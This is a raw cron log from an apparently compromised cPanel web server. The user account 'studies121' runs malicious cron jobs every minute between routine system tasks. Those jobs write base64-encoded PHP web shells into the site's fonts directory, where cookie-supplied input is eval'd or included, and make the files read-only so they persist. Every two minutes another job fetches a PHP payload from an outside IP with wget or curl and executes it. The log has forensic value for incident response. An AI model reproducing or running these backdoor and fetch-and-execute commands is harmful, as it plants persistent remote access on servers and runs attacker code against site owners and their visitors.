Sep 21 10:06:01 ip-184-168-122-23 CROND[8540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:06:01 ip-184-168-122-23 CROND[8539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:06:01 ip-184-168-122-23 CROND[8542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:07:01 ip-184-168-122-23 CROND[8684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:07:01 ip-184-168-122-23 CROND[8683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:07:01 ip-184-168-122-23 CROND[8682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:07:01 ip-184-168-122-23 CROND[8685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:08:01 ip-184-168-122-23 CROND[8838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:08:01 ip-184-168-122-23 CROND[8839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:08:01 ip-184-168-122-23 CROND[8840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:08:01 ip-184-168-122-23 CROND[8842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:08:01 ip-184-168-122-23 CROND[8841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:09:02 ip-184-168-122-23 CROND[8965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:09:02 ip-184-168-122-23 CROND[8967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:09:02 ip-184-168-122-23 CROND[8966]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 10:09:02 ip-184-168-122-23 CROND[8971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:09:02 ip-184-168-122-23 CROND[8970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:10:01 ip-184-168-122-23 CROND[9117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:10:01 ip-184-168-122-23 CROND[9119]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 10:10:01 ip-184-168-122-23 CROND[9121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:10:01 ip-184-168-122-23 CROND[9124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:10:01 ip-184-168-122-23 CROND[9122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:10:01 ip-184-168-122-23 CROND[9123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:10:01 ip-184-168-122-23 CROND[9125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:10:01 ip-184-168-122-23 CROND[9127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:11:02 ip-184-168-122-23 CROND[9429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:11:02 ip-184-168-122-23 CROND[9430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:11:02 ip-184-168-122-23 CROND[9433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:11:02 ip-184-168-122-23 CROND[9434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:12:01 ip-184-168-122-23 CROND[9570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:12:01 ip-184-168-122-23 CROND[9571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:12:01 ip-184-168-122-23 CROND[9574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:12:01 ip-184-168-122-23 CROND[9573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:12:01 ip-184-168-122-23 CROND[9576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:13:01 ip-184-168-122-23 CROND[9737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:13:01 ip-184-168-122-23 CROND[9738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:13:01 ip-184-168-122-23 CROND[9740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:13:01 ip-184-168-122-23 CROND[9739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:14:02 ip-184-168-122-23 CROND[9845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:14:02 ip-184-168-122-23 CROND[9844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:14:02 ip-184-168-122-23 CROND[9847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:14:02 ip-184-168-122-23 CROND[9846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:14:02 ip-184-168-122-23 CROND[9848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:15:01 ip-184-168-122-23 CROND[9996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:15:01 ip-184-168-122-23 CROND[9997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:15:01 ip-184-168-122-23 CROND[9998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:15:01 ip-184-168-122-23 CROND[10001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:15:01 ip-184-168-122-23 CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:15:01 ip-184-168-122-23 CROND[9999]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 10:15:01 ip-184-168-122-23 CROND[10002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:16:01 ip-184-168-122-23 CROND[10249]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 10:16:01 ip-184-168-122-23 CROND[10250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:16:01 ip-184-168-122-23 CROND[10252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:16:01 ip-184-168-122-23 CROND[10254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:16:01 ip-184-168-122-23 CROND[10255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:16:01 ip-184-168-122-23 CROND[10256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:17:01 ip-184-168-122-23 CROND[10403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:17:01 ip-184-168-122-23 CROND[10405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:17:01 ip-184-168-122-23 CROND[10406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:17:01 ip-184-168-122-23 CROND[10407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:18:01 ip-184-168-122-23 CROND[10552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:18:01 ip-184-168-122-23 CROND[10554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:18:01 ip-184-168-122-23 CROND[10552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:18:01 ip-184-168-122-23 CROND[10554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:18:01 ip-184-168-122-23 CROND[10555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:18:01 ip-184-168-122-23 CROND[10556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
